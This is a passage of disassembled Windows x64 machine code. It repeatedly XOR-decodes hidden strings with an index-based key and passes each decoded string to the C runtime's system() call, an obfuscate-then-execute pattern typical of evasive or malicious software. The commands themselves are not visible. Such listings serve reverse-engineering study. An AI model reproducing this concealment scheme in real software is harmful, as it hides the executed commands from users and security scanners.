movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140059320
cmp r8d, 0x9d
jge 0x140059467
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9d
jl 0x140059430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9649]
lea rcx, [rbp + 0x7d]
mov byte [rbp + 0x7d], al
call fcn.140071ee0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x1400595f6
mov r8d, r14d
cmp r15d, 2
jl 0x1400595b8
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x1400594c0
jmp 0x1400595f6
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x1400595c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x96e9]
lea rcx, [rbp + 0x7e]
mov byte [rbp + 0x7e], al
call fcn.140071f50
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140059786
mov r8d, r14d
cmp r15d, 2
jl 0x140059748
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140059650
jmp 0x140059786
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140059750
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x996a]
lea rcx, [rbp + 0x7f]
mov byte [rbp + 0x7f], al
call fcn.140071fc0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140059917
mov r8d, r14d
cmp r15d, 2
jl 0x1400598d1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x1400597d0
cmp r8d, 0xa1
jge 0x140059917
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x1400598e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9a0b]
lea rcx, [rbp + 0x80]
mov byte [rbp + 0x80], al
call fcn.140072040
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140059ab7
mov r8d, r14d
cmp r15d, 2
jl 0x140059a71
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x140059970
cmp r8d, 0xa1
jge 0x140059ab7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x140059a80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3fa9]
lea rcx, [rbp + 0x81]
mov byte [rbp + 0x81], al
call fcn.1400720c0
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x140059c44
mov r8d, r14d
cmp r15d, 2
jl 0x140059bfc
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140059b01
cmp r8d, 0x2e
jge 0x140059c44
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140059c10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5e48]
lea rcx, [rbp + 0x82]
mov byte [rbp + 0x82], al
call fcn.140072100
mov r10, rax
cmp byte [rax + 0x5b], 0
je 0x140059dc5
mov r8d, r14d
cmp r15d, 2
jl 0x140059d8b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x140059c90
cmp r8d, 0x5c
jge 0x140059dc5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x5c
jl 0x140059d91
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x662a]
lea rcx, [rbp + 0x83]
mov byte [rbp + 0x83], al
call fcn.140072150
mov r10, rax
cmp byte [rax + 0x62], 0
je 0x140059f45
mov r8d, r14d
cmp r15d, 2
jl 0x140059f0b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x140059e10
cmp r8d, 0x63
jge 0x140059f45
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x63
jl 0x140059f11
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5c30]
lea rcx, [rbp + 0x84]
mov byte [rbp + 0x84], al
call fcn.1400721b0
mov r10, rax
cmp byte [rax + 0x57], 0
je 0x14005a0d3
mov r8d, r14d
cmp r15d, 2
jl 0x14005a095
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x58
jl 0x140059fa0
jmp 0x14005a0d3
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x58
jl 0x14005a0a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x63e0]
lea rcx, [rbp + 0x85]
mov byte [rbp + 0x85], al
call fcn.140072200
mov r10, rax
cmp byte [rax + 0x60], 0
je 0x14005a255
mov r8d, r14d
cmp r15d, 2
jl 0x14005a21b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x14005a120
cmp r8d, 0x61
jge 0x14005a255
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x61
jl 0x14005a221
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4e0d]
lea rcx, [rbp + 0x86]
mov byte [rbp + 0x86], al
call fcn.140072250
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x14005a3d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005a39b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005a2a0
cmp r8d, 0x3b
jge 0x14005a3d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x14005a3a1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x59e0]
lea rcx, [rbp + 0x87]
mov byte [rbp + 0x87], al
call fcn.1400722a0
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x14005a555
mov r8d, r14d
cmp r15d, 2
jl 0x14005a51b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x14005a420
cmp r8d, 0x54
jge 0x14005a555
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x14005a521
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5a34]
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x88], al
call fcn.1400722f0
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x14005a6d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005a69b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x14005a5a0
cmp r8d, 0x54
jge 0x14005a6d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x14005a6a1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5c88]
lea rcx, [rbp + 0x89]
mov byte [rbp + 0x89], al
